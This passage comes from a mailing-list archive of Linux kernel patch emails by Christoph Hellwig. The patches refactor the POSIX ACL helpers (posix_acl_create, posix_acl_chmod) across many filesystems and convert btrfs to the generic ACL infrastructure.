a/fs/ext2/acl.c +++ b/fs/ext2/acl.c @@ -268,7 +268,7 @@ ext2_init_acl(struct inode *inode, struct inode *dir) if (error) goto cleanup; } - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); if (error < 0) return error; if (error > 0) { diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c index 6691a6c..4f3d8fa 100644 --- a/fs/ext3/acl.c +++ b/fs/ext3/acl.c @@ -271,7 +271,7 @@ ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) if (error) goto cleanup; } - error = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (error < 0) return error; diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c index 2eebe02..f827f3b 100644 --- a/fs/ext4/acl.c +++ b/fs/ext4/acl.c @@ -276,7 +276,7 @@ ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) if (error) goto cleanup; } - error = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (error < 0) return error; diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index 14c4df0..45e8430 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -285,7 +285,7 @@ int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage) if (error) goto cleanup; } - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); if (error < 0) return error; if (error > 0) diff --git a/fs/generic_acl.c b/fs/generic_acl.c index 46a5076..4357f39 100644 --- a/fs/generic_acl.c +++ b/fs/generic_acl.c @@ -128,7 +128,7 @@ generic_acl_init(struct inode *inode, struct inode *dir) if (acl) { if (S_ISDIR(inode->i_mode)) set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); if (error < 0) return error; if (error > 0) diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c index 3e200c7..e82e4ac 100644 --- a/fs/gfs2/acl.c +++ b/fs/gfs2/acl.c @@ -131,7 +131,7 @@ int gfs2_acl_create(struct gfs2_inode *dip, struct inode *inode) goto out; } - error = posix_acl_create(&acl, GFP_NOFS, &mode); + error = __posix_acl_create(&acl, GFP_NOFS, &mode); if (error < 0) return error; diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c index cab5fd6..277942f 100644 --- a/fs/hfsplus/posix_acl.c +++ b/fs/hfsplus/posix_acl.c @@ -137,7 +137,7 @@ int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) goto init_acl_cleanup; } - err = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (unlikely(err < 0)) return err; diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c index 5853969..4d6e31b 100644 --- a/fs/jffs2/acl.c +++ b/fs/jffs2/acl.c @@ -295,7 +295,7 @@ int jffs2_init_acl_pre(struct inode *dir_i, struct inode *inode, umode_t *i_mode if (S_ISDIR(*i_mode)) set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); - rc = posix_acl_create(&acl, GFP_KERNEL, i_mode); + rc = __posix_acl_create(&acl, GFP_KERNEL, i_mode); if (rc < 0) return rc; if (rc > 0) diff --git a/fs/jfs/acl.c b/fs/jfs/acl.c index 9c0fca8..28d529a 100644 --- a/fs/jfs/acl.c +++ b/fs/jfs/acl.c @@ -132,7 +132,7 @@ int jfs_init_acl(tid_t tid, struct inode *inode, struct inode *dir) if (rc) goto cleanup; } - rc = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + rc = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); if (rc < 0) goto cleanup; /* posix_acl_release(NULL) is no-op */ if (rc > 0) diff --git a/fs/nfs/nfs3acl.c b/fs/nfs/nfs3acl.c index 4a1aafb..e859675 100644 --- a/fs/nfs/nfs3acl.c +++ b/fs/nfs/nfs3acl.c @@ -428,7 +428,7 @@ int nfs3_proc_set_default_acl(struct inode *dir, struct inode *inode, if (!dfacl) return 0; acl = posix_acl_dup(dfacl); - error = posix_acl_create(&acl, GFP_KERNEL, &mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &mode); if (error < 0) goto out_release_dfacl; error = nfs3_proc_setacls(inode, acl, S_ISDIR(inode->i_mode) ? diff --git a/fs/ocfs2/acl.c b/fs/ocfs2/acl.c index 73ccf0e..c0f9d2f 100644 --- a/fs/ocfs2/acl.c +++ b/fs/ocfs2/acl.c @@ -401,7 +401,7 @@ int ocfs2_init_acl(handle_t *handle, goto cleanup; } mode = inode->i_mode; - ret = posix_acl_create(&acl, GFP_NOFS, &mode); + ret = __posix_acl_create(&acl, GFP_NOFS, &mode); if (ret < 0) return ret; diff --git a/fs/posix_acl.c b/fs/posix_acl.c index bc5b4f8..5d6149d 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -384,7 +384,7 @@ static int __posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) } int -posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) +__posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) { struct posix_acl *clone = posix_acl_clone(*acl, gfp); int err = -ENOMEM; @@ -399,7 +399,7 @@ posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) *acl = clone; return err; } -EXPORT_SYMBOL(posix_acl_create); +EXPORT_SYMBOL(__posix_acl_create); int __posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) @@ -420,7 +420,7 @@ __posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) EXPORT_SYMBOL(__posix_acl_chmod); int -posix_acl_chmod(struct inode *inode) +posix_acl_chmod(struct inode *inode, umode_t mode) { struct posix_acl *acl; int ret = 0; @@ -434,7 +434,7 @@ posix_acl_chmod(struct inode *inode) if (IS_ERR_OR_NULL(acl)) return PTR_ERR(acl); - ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + ret = __posix_acl_chmod(&acl, GFP_KERNEL, mode); if (ret) return ret; ret = inode->i_op->set_acl(inode, acl, ACL_TYPE_ACCESS); @@ -443,6 +443,55 @@ posix_acl_chmod(struct inode *inode) } EXPORT_SYMBOL(posix_acl_chmod); +int +posix_acl_create(struct inode *dir, umode_t *mode, + struct posix_acl **default_acl, struct posix_acl **acl) +{ + struct posix_acl *p; + int ret; + + if (S_ISLNK(*mode) || !IS_POSIXACL(dir)) + goto no_acl; + + p = get_acl(dir, ACL_TYPE_DEFAULT); + if (IS_ERR(p)) + return PTR_ERR(p); + + if (!p) { + *mode &= ~current_umask(); + goto no_acl; + } + + *acl = posix_acl_clone(p, GFP_NOFS); + if (!*acl) + return -ENOMEM; + + ret = posix_acl_create_masq(*acl, mode); + if (ret < 0) { + posix_acl_release(*acl); + return -ENOMEM; + } + + if (ret == 0) { + posix_acl_release(*acl); + *acl = NULL; + } + + if (!S_ISDIR(*mode)) { + posix_acl_release(p); + *default_acl = NULL; + } else { + *default_acl = p; + } + return 0; + +no_acl: + *default_acl = NULL; + *acl = NULL; + return 0; +} +EXPORT_SYMBOL_GPL(posix_acl_create); + struct posix_acl *get_acl(struct inode *inode, int type) { struct posix_acl *acl; diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c index ea4e443..d95c959 100644 --- a/fs/reiserfs/xattr_acl.c +++ b/fs/reiserfs/xattr_acl.c @@ -378,7 +378,7 @@ reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, /* Now we reconcile the new ACL and the mode, potentially modifying both */ - err = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (err < 0) return err; diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 4eac105..057ae2d 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -297,12 +297,12 @@ xfs_inherit_acl(struct inode *inode, struct posix_acl *acl) goto out; } - error = posix_acl_create(&acl, GFP_KERNEL, &mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &mode); if (error < 0) return error; /* - * If posix_acl_create returns a positive value we need to + * If __posix_acl_create returns a positive value we need to * inherit a permission that can't be represented using the Unix * mode bits and we actually need to set an ACL. */ diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 8b64e78..2e40aae 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -88,14 +88,16 @@ extern int posix_acl_valid(const struct posix_acl *); extern int posix_acl_permission(struct inode *, const struct posix_acl *, int); extern struct posix_acl *posix_acl_from_mode(umode_t, gfp_t); extern int posix_acl_equiv_mode(const struct posix_acl *, umode_t *); -extern int posix_acl_create(struct posix_acl **, gfp_t, umode_t *); +extern int __posix_acl_create(struct posix_acl **, gfp_t, umode_t *); extern int __posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); extern struct posix_acl *get_posix_acl(struct inode *, int); extern int set_posix_acl(struct inode *, int, struct posix_acl *); #ifdef CONFIG_FS_POSIX_ACL -extern int posix_acl_chmod(struct inode *); +extern int posix_acl_chmod(struct inode *, umode_t); +extern int posix_acl_create(struct inode *, umode_t *, struct posix_acl **, + struct posix_acl **); static inline struct posix_acl **acl_by_type(struct inode *inode, int type) { @@ -174,7 +176,7 @@ static inline void cache_no_acl(struct inode *inode) inode->i_default_acl = NULL; } #else -static inline int posix_acl_chmod(struct inode *inode) +static inline int posix_acl_chmod(struct inode *inode, umode_t mode) { return 0; } -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2C4708017 for ; Wed, 11 Dec 2013 04:45:40 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 19EDD8F804C for ; Wed, 11 Dec 2013 02:45:40 -0800 (PST) X-ASG-Debug-ID: 1386758738-04cbb041686a5b60001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id LT9BHysGGhFlKsvJ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:38 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIF-0008Kz-Po; Wed, 11 Dec 2013 10:45:27 +0000 Message-Id: <20131211104527.626509181@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:50 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 07/18] btrfs: use generic posix ACL infrastructure References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 07/18] btrfs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0007-btrfs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758738 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Also don't bother to set up a .get_acl method for symlinks as we do not support access control (ACLs or even mode bits) for symlinks in Linux. Signed-off-by: Christoph Hellwig --- fs/btrfs/acl.c | 142 +++++++----------------------------------------------- fs/btrfs/ctree.h | 7 +-- fs/btrfs/inode.c | 7 ++- fs/btrfs/xattr.c | 5 +- fs/btrfs/xattr.h | 2 - 5 files changed, 28 insertions(+), 135 deletions(-) diff --git a/fs/btrfs/acl.c b/fs/btrfs/acl.c index b56519d..ff9b399 100644 --- a/fs/btrfs/acl.c +++ b/fs/btrfs/acl.c @@ -35,13 +35,6 @@ struct posix_acl *btrfs_get_acl(struct inode *inode, int type) char *value = NULL; struct posix_acl *acl; - if (!IS_POSIXACL(inode)) - return NULL; - - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - switch (type) { case ACL_TYPE_ACCESS: name = POSIX_ACL_XATTR_ACCESS; @@ -76,31 +69,10 @@ struct posix_acl *btrfs_get_acl(struct inode *inode, int type) return acl; } -static int btrfs_xattr_acl_get(struct dentry *dentry, const char *name, - void *value, size_t size, int type) -{ - struct posix_acl *acl; - int ret = 0; - - if (!IS_POSIXACL(dentry->d_inode)) - return -EOPNOTSUPP; - - acl = btrfs_get_acl(dentry->d_inode, type); - - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - ret = posix_acl_to_xattr(&init_user_ns, acl, value, size); - posix_acl_release(acl); - - return ret; -} - /* * Needs to be called with fs_mutex held */ -static int btrfs_set_acl(struct btrfs_trans_handle *trans, +static int __btrfs_set_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct posix_acl *acl, int type) { int ret, size = 0; @@ -158,35 +130,9 @@ out: return ret; } -static int btrfs_xattr_acl_set(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) +int btrfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - int ret; - struct posix_acl *acl = NULL; - - if (!inode_owner_or_capable(dentry->d_inode)) - return -EPERM; - - if (!IS_POSIXACL(dentry->d_inode)) - return -EOPNOTSUPP; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - - if (acl) { - ret = posix_acl_valid(acl); - if (ret) - goto out; - } - } - - ret = btrfs_set_acl(NULL, dentry->d_inode, acl, type); -out: - posix_acl_release(acl); - - return ret; + return __btrfs_set_acl(NULL, inode, acl, type); } /* @@ -197,83 +143,31 @@ out: int btrfs_init_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct inode *dir) { - struct posix_acl *acl = NULL; + struct posix_acl *default_acl, *acl; int ret = 0; /* this happens with subvols */ if (!dir) return 0; - if (!S_ISLNK(inode->i_mode)) { - if (IS_POSIXACL(dir)) { - acl = btrfs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } + ret = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (ret) + return ret; - if (!acl) - inode->i_mode &= ~current_umask(); + if (default_acl) { + ret = __btrfs_set_acl(trans, inode, default_acl, + ACL_TYPE_DEFAULT); + posix_acl_release(default_acl); } - if (IS_POSIXACL(dir) && acl) { - if (S_ISDIR(inode->i_mode)) { - ret = btrfs_set_acl(trans, inode, acl, - ACL_TYPE_DEFAULT); - if (ret) - goto failed; - } - ret = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (ret < 0) - return ret; - - if (ret > 0) { - /* we need an acl */ - ret = btrfs_set_acl(trans, inode, acl, ACL_TYPE_ACCESS); - } else if (ret < 0) { - cache_no_acl(inode); - } - } else { - cache_no_acl(inode); + if (acl) { + if (!ret) + ret = __btrfs_set_acl(trans, inode, acl, + ACL_TYPE_ACCESS); + posix_acl_release(acl); } -failed: - posix_acl_release(acl); - - return ret; -} -int btrfs_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int ret = 0; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - if (!IS_POSIXACL(inode)) - return 0; - - acl = btrfs_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR_OR_NULL(acl)) - return PTR_ERR(acl); - - ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (ret) - return ret; - ret = btrfs_set_acl(NULL, inode, acl, ACL_TYPE_ACCESS); - posix_acl_release(acl); + if (!default_acl && !acl) + cache_no_acl(inode); return ret; } - -const struct xattr_handler btrfs_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .get = btrfs_xattr_acl_get, - .set = btrfs_xattr_acl_set, -}; - -const struct xattr_handler btrfs_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .get = btrfs_xattr_acl_get, - .set = btrfs_xattr_acl_set, -}; diff --git a/fs/btrfs/ctree.h b/fs/btrfs/ctree.h index 54ab861..7506825 100644 --- a/fs/btrfs/ctree.h +++ b/fs/btrfs/ctree.h @@ -3899,20 +3899,17 @@ do { \ /* acl.c */ #ifdef CONFIG_BTRFS_FS_POSIX_ACL struct posix_acl *btrfs_get_acl(struct inode *inode, int type); +int btrfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); int btrfs_init_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct inode *dir); -int btrfs_acl_chmod(struct inode *inode); #else #define btrfs_get_acl NULL +#define btrfs_set_acl NULL static inline int btrfs_init_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct inode *dir) { return 0; } -static inline int btrfs_acl_chmod(struct inode *inode) -{ - return 0; -} #endif /* relocation.c */ diff --git a/fs/btrfs/inode.c b/fs/btrfs/inode.c index f1a7744..b131430 100644 --- a/fs/btrfs/inode.c +++ b/fs/btrfs/inode.c @@ -4464,7 +4464,7 @@ static int btrfs_setattr(struct dentry *dentry, struct iattr *attr) err = btrfs_dirty_inode(inode); if (!err && attr->ia_valid & ATTR_MODE) - err = btrfs_acl_chmod(inode); + err = posix_acl_chmod(inode, inode->i_mode); } return err; @@ -8649,12 +8649,14 @@ static const struct inode_operations btrfs_dir_inode_operations = { .removexattr = btrfs_removexattr, .permission = btrfs_permission, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; static const struct inode_operations btrfs_dir_ro_inode_operations = { .lookup = btrfs_lookup, .permission = btrfs_permission, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; @@ -8724,6 +8726,7 @@ static const struct inode_operations btrfs_file_inode_operations = { .permission = btrfs_permission, .fiemap = btrfs_fiemap, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; static const struct inode_operations btrfs_special_inode_operations = { @@ -8735,6 +8738,7 @@ static const struct inode_operations btrfs_special_inode_operations = { .listxattr = btrfs_listxattr, .removexattr = btrfs_removexattr, .get_acl = btrfs_get_acl, + .set_acl = btrfs_set_acl, .update_time = btrfs_update_time, }; static const struct inode_operations btrfs_symlink_inode_operations = { @@ -8748,7 +8752,6 @@ static const struct inode_operations btrfs_symlink_inode_operations = { .getxattr = btrfs_getxattr, .listxattr = btrfs_listxattr, .removexattr = btrfs_removexattr, - .get_acl = btrfs_get_acl, .update_time = btrfs_update_time, }; diff --git a/fs/btrfs/xattr.c b/fs/btrfs/xattr.c index 05740b9..3d1c301 100644 --- a/fs/btrfs/xattr.c +++ b/fs/btrfs/xattr.c @@ -22,6 +22,7 @@ #include #include #include +#include #include "ctree.h" #include "btrfs_inode.h" #include "transaction.h" @@ -313,8 +314,8 @@ err: */ const struct xattr_handler *btrfs_xattr_handlers[] = { #ifdef CONFIG_BTRFS_FS_POSIX_ACL - &btrfs_xattr_acl_access_handler, - &btrfs_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif NULL, }; diff --git a/fs/btrfs/xattr.h b/fs/btrfs/xattr.h index b3cc803..5049608 100644 --- a/fs/btrfs/xattr.h +++ b/fs/btrfs/xattr.h @@ -21,8 +21,6 @@ #include -extern const struct xattr_handler btrfs_xattr_acl_access_handler; -extern const struct xattr_handler btrfs_xattr_acl_default_handler; extern const struct xattr_handler *btrfs_xattr_handlers[]; extern ssize_t __btrfs_getxattr(struct inode *inode, const char *name, -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BFE728013 for ; Wed, 11 Dec 2013 04:45:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 68F7BAC012 for ; Wed, 11 Dec 2013 02:45:39 -0800 (PST) X-ASG-Debug-ID: 1386758738-04bdf013221aab00001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id PfiUz1qrvf0CHKgV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:38 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIF-0008Jt-BY; Wed, 11 Dec 2013 10:45:27 +0000 Message-Id: <20131211104527.223923019@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:48 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 05/18] fs: make posix_acl_chmod more useful References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 05/18] fs: make posix_acl_chmod more useful Content-Disposition: inline; filename=0005-fs-make-posix_acl_chmod-more-useful.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758738 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Rename the current posix_acl_chmod to __posix_acl_chmod and add a fully featured ACL chmod helper that uses the ->set_acl inode operation. Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/9p/acl.c | 2 +- fs/btrfs/acl.c | 2 +- fs/ext2/acl.c | 2 +- fs/ext3/acl.c | 2 +- fs/ext4/acl.c | 2 +- fs/f2fs/acl.c | 2 +- fs/generic_acl.c | 2 +- fs/gfs2/acl.c | 2 +- fs/hfsplus/posix_acl.c | 2 +- fs/jffs2/acl.c | 2 +- fs/jfs/acl.c | 2 +- fs/ocfs2/acl.c | 2 +- fs/posix_acl.c | 30 +++++++++++++++++++++++++++--- fs/reiserfs/xattr_acl.c | 2 +- fs/xfs/xfs_acl.c | 2 +- include/linux/posix_acl.h | 17 +++++++++++++---- 16 files changed, 54 insertions(+), 21 deletions(-) diff --git a/fs/9p/acl.c b/fs/9p/acl.c index 7af425f..f5ce5c5 100644 --- a/fs/9p/acl.c +++ b/fs/9p/acl.c @@ -156,7 +156,7 @@ int v9fs_acl_chmod(struct inode *inode, struct p9_fid *fid) return -EOPNOTSUPP; acl = v9fs_get_cached_acl(inode, ACL_TYPE_ACCESS); if (acl) { - retval = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + retval = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (retval) return retval; set_cached_acl(inode, ACL_TYPE_ACCESS, acl); diff --git a/fs/btrfs/acl.c b/fs/btrfs/acl.c index 0890c83..1af04ff 100644 --- a/fs/btrfs/acl.c +++ b/fs/btrfs/acl.c @@ -256,7 +256,7 @@ int btrfs_acl_chmod(struct inode *inode) if (IS_ERR_OR_NULL(acl)) return PTR_ERR(acl); - ret = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (ret) return ret; ret = btrfs_set_acl(NULL, inode, acl, ACL_TYPE_ACCESS); diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c index 110b6b3..7006ced 100644 --- a/fs/ext2/acl.c +++ b/fs/ext2/acl.c @@ -308,7 +308,7 @@ ext2_acl_chmod(struct inode *inode) acl = ext2_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c index dbb5ad5..6691a6c 100644 --- a/fs/ext3/acl.c +++ b/fs/ext3/acl.c @@ -314,7 +314,7 @@ ext3_acl_chmod(struct inode *inode) acl = ext3_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; retry: diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c index 39a54a0..2eebe02 100644 --- a/fs/ext4/acl.c +++ b/fs/ext4/acl.c @@ -320,7 +320,7 @@ ext4_acl_chmod(struct inode *inode) acl = ext4_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; retry: diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index d0fc287..14c4df0 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -311,7 +311,7 @@ int f2fs_acl_chmod(struct inode *inode) if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, mode); if (error) return error; diff --git a/fs/generic_acl.c b/fs/generic_acl.c index b3f3676..46a5076 100644 --- a/fs/generic_acl.c +++ b/fs/generic_acl.c @@ -158,7 +158,7 @@ generic_acl_chmod(struct inode *inode) return -EOPNOTSUPP; acl = get_cached_acl(inode, ACL_TYPE_ACCESS); if (acl) { - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; set_cached_acl(inode, ACL_TYPE_ACCESS, acl); diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c index f69ac0a..3e200c7 100644 --- a/fs/gfs2/acl.c +++ b/fs/gfs2/acl.c @@ -162,7 +162,7 @@ int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr) if (!acl) return 